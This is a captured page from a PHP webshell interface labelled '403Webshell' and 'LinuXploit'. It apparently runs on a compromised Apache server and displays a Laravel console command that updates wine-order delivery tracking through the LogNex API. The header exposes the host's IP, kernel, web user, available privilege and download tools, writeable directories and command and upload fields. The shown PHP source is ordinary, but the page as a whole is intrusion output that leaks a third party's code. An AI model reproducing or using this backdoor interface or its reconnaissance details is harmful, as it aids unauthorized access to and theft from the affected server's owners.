403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Console/Commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Console/Commands/AtualizaPedidoEntregaRastreamento.php
<?php

namespace App\Console\Commands;

use Symfony\Component\Console\Output\ConsoleOutput;
use Symfony\Component\Console\Helper\ProgressBar;

use Illuminate\Console\Command;
use App\Modules\PedidoEntrega\Models\PedidoEntrega;
use App\Modules\PedidoEntregaHasStatus\Models\PedidoEntregaHasStatus;
use App\Modules\PedidoEntregaStatus\Models\PedidoEntregaStatus;
use App\Modules\PedidoEntregaRastreamento\Models\PedidoEntregaRastreamento;
use App\Services\GeralService;
use App\Services\PedidoEntregaService;
use App\Services\MarketplaceService;
use Illuminate\Support\Facades\Log;
use DB;

class AtualizaPedidoEntregaRastreamento extends Command
{
    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'atualiza_pedido_entrega_rastreamento  {pedido_entrega_id?}';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Atualiza Status Rastreamento Pedidos de Entrega LogNex';

    /**
     * Create a new command instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
        $this->output = new ConsoleOutput;
    }

    /**
     * Execute the console command.
     *
     * @return mixed
     */
    public function handle()
    {
        $this->info(date('d/m/Y H:i:s') . " - START");

        $this->options = $this->arguments();

        //Atualiza Pedidos Entregas Atrasados
        MarketplaceService::atualizarEntregasEntregues();

        //Códigos Rastreamentos
        $Rastreamentos     = PedidoEntregaRastreamento::orderBy('codigo', 'ASC')->get();
        $listaRastreamento = [];
        foreach ($Rastreamentos as $item) {
            $listaRastreamento[$item->codigo] = (object)['id' => $item->id, 'id_pedido_entrega_status' => $item->id_pedido_entrega_status, 'descricao' => $item->descricao];
        }

        //Status Entregas
        $Status      = PedidoEntregaStatus::orderBy('id', 'ASC')->get();
        $listaStatus = [];
        foreach ($Status as $item) {
            $listaStatus[$item->id] = $item;
        }

        $query = PedidoEntrega::select('pedido_entrega.id', 'pedido_entrega.nota_fiscal_erp', 'pedido_entrega.id_nota_fiscal_erp', 'empresa.cnpj', 'pedido_entrega.rastreamento', 'adega.id_cliente')
                        ->join('pedido_entrega_status', 'pedido_entrega_status.id', '=', 'pedido_entrega.id_pedido_entrega_status')
                        ->join('empresa', 'empresa.id', '=', 'pedido_entrega.empresa_id')
                        ->join('adega', 'adega.id', '=', 'pedido_entrega.id_adega')
                        ->whereRaw('pedido_entrega.rastreamento = 1 AND pedido_entrega_status.id NOT IN (6,7) AND nota_fiscal_erp IS NOT NULL');

        if(!empty($this->options['pedido_entrega_id'])){
            $query->where('pedido_entrega.id', $this->options['pedido_entrega_id']);
        }

        $pedidos = $query->orderBy('pedido_entrega.id', 'ASC')->get();
                        
        $total        = count($pedidos);
        $progressBar  = new ProgressBar($this->output, count($pedidos));

        foreach ($pedidos as $pedidoEntrega){

            $StatusRastreamentos     = PedidoEntregaHasStatus::select('chave_rastreamento')->where('id_pedido_entrega', $pedidoEntrega->id)->whereRaw('id_pedido_entrega_rastreamento IS NOT NULL')->orderBy('id', 'ASC')->get();
            $listaRastreamentoPedido = [];
            foreach ($StatusRastreamentos as $item) {
                $listaRastreamentoPedido[] = $item->chave_rastreamento;
            }

            $resultados = GeralService::callApiLognex($pedidoEntrega->nota_fiscal_erp, $pedidoEntrega->cnpj);

            if(is_array($resultados) && count($resultados) > 0){

                $this->info(date('d/m/Y H:i:s') . " - Pedido {$pedidoEntrega->id}");

                foreach ($resultados as $item) {

                    if(!isset($listaRastreamento[$item->code])){

                        $pedidoEntregaRastreamento = new PedidoEntregaRastreamento;
                        $pedidoEntregaRastreamento->codigo    = $item->code;
                        $pedidoEntregaRastreamento->descricao = $item->description;
                        $pedidoEntregaRastreamento->id_pedido_entrega_status = 13;
                        $pedidoEntregaRastreamento->save();

                        $listaRastreamento[$item->code] = (object)['id' => $pedidoEntregaRastreamento->id, 'id_pedido_entrega_status' => 13, 'descricao' => $item->description];
                        
                        //Disparar E-mail Fila Novo Status Rastreamento

                    }

                    $chave_rastreamento = "{$item->number}.{$item->sequence}.{$item->code} {$item->dateTime}";

                    if(!in_array($chave_rastreamento, $listaRastreamentoPedido)){

                        //Pedido Entregue
                        if($pedidoEntrega->rastreamento == 1 && $listaRastreamento[$item->code]->id_pedido_entrega_status == 6){
                            $sql = "UPDATE pedido_entrega SET rastreamento = 0 WHERE id = {$pedidoEntrega->id}";
                            DB::update($sql);
                        }

                        $pedidoEntregaStatus = $listaStatus[$listaRastreamento[$item->code]->id_pedido_entrega_status];

                        $novoStatus = new PedidoEntregaHasStatus();
                        $novoStatus->id_pedido_entrega_status       = $listaRastreamento[$item->code]->id_pedido_entrega_status;
                        $novoStatus->id_pedido_entrega_rastreamento = $listaRastreamento[$item->code]->id;
                        $novoStatus->id_pedido_entrega              = $pedidoEntrega->id;
                        $novoStatus->chave_rastreamento             = $chave_rastreamento;
                        $novoStatus->data                           = $item->dateTime;
                        $novoStatus->observacao                     = PedidoEntregaService::getFraseObservacao($pedidoEntrega, $pedidoEntregaStatus, $novoStatus->data, $listaRastreamento[$item->code]);
                        $novoStatus->notificar_cliente              = $pedidoEntregaStatus->notificar_cliente;
                        $novoStatus->save();

                        $listaRastreamentoPedido[] = $chave_rastreamento;

                    }

                }

            }else{
                $this->info(date('d/m/Y H:i:s') . " - Nenhuma ocorrência");
                // Log::info("Nenhuma ocorrência");
            }

            $progressBar->advance();

        }

        $progressBar->finish();

        $this->info("\n");

        $this->info(date('d/m/Y H:i:s') . " - DONE");

    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit